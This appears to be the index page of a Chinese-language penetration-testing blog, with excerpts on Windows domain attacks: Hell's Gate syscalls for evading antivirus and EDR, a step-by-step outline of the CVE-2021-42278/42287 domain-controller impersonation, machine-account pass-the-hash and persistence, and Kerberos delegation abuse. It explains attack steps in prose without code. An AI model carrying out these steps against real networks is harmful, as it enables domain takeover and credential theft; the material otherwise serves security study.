Hell’s Gate,也就是地狱之门,算是一项经典的底层绕过AV或EDR的技术手段,利用syscall技术调用NTDLL内函数,从而绕过杀软对函数的检测。

阅读全文 »

距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。

概括

  • CVE-2021-42278,机器账户的名称一般用$结尾,但AD并未对域内机器账户名进行验证。
  • CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket,提供一个属于该账户的PAC,我们便可得到一个高权限的ST。

攻击流程:

  1. 首先创建一个机器账户
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName修改为DC的机器账户名,但不带$
  4. 使用机器账户的身份请求TGT
  5. 将机器账户的sAMAccountName修改为其他值,不能与DC的机器账户名重复。
  6. 通过S4U2Self向KDC申请ST
  7. 拿到高权限ST票据,完成利用。

利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。

阅读全文 »

pass the hash攻击,除去常见的使用本地管理员账户进行hash传递外,还可以使用机器账户进行提权。

如果在主机上授予了本地管理员访问权限,并且计算机本身为Domain admins组的成员,那我们在进行渗透测试时,可以利用该计算机账户进行提权。以机器账户来使用hash传递来进行提权。

阅读全文 »

前言

机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsync,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

阅读全文 »

基于资源的约束委派利用

基于资源的约束委派,(Resource-based constrained delegation),与前文提到的约束委派不同,它在信任的传递关系上是不同的,这也是它工作方向相反的一个因素。

在约束委派中,账户A到账户B的约束委派在账户A的 msDS-AllowedToDelegateTo 属性中配置,并且定义了A到B的传出信任,而在基于资源的约束委派当中,委派在账户B的msDS-AllowedToActOnBehalfOfOtherIdentity 属性中配置,并定义了A到B的传入信任。

一图概括。

image-20220204202427514

如图为在Elad师傅中的文章中所得的导图,通过此图,我们可以看出基于资源的约束委派与传统约束委派的工作方式有何不同。

阅读全文 »

约束委派

接上述的非约束委派,由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy)的Kerberos协议扩展。

流程:

阅读全文 »

简介

委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

image-20220106232045335

例:

1
User访问主机S2上的HTTP服务,此时要想完整的使用HTTP服务,需再访问S3主机上的SQL数据库,但S2并不知道域用户是否拥有权限访问S3上的数据库服务权限,这时为了验证权限,S2会带着User的访问权限去申请访问SQL数据库,若User拥有权限才可进行访问。

非约束委派

非约束委派Kerberos中实现时,User会将自KDC拿到的TGT发送给访问的服务机器Service1,Service1再通过拿到手的TGT票据去申请访问其他域内服务,Service1在拿到用户的TGT票据后,会对其留存,以便下次备用,这时,我们便可在拿下的Service1机器中拿到域用户的TGT票据,从而访问域内的可访问服务(域管用户可访问任意服务)

阅读全文 »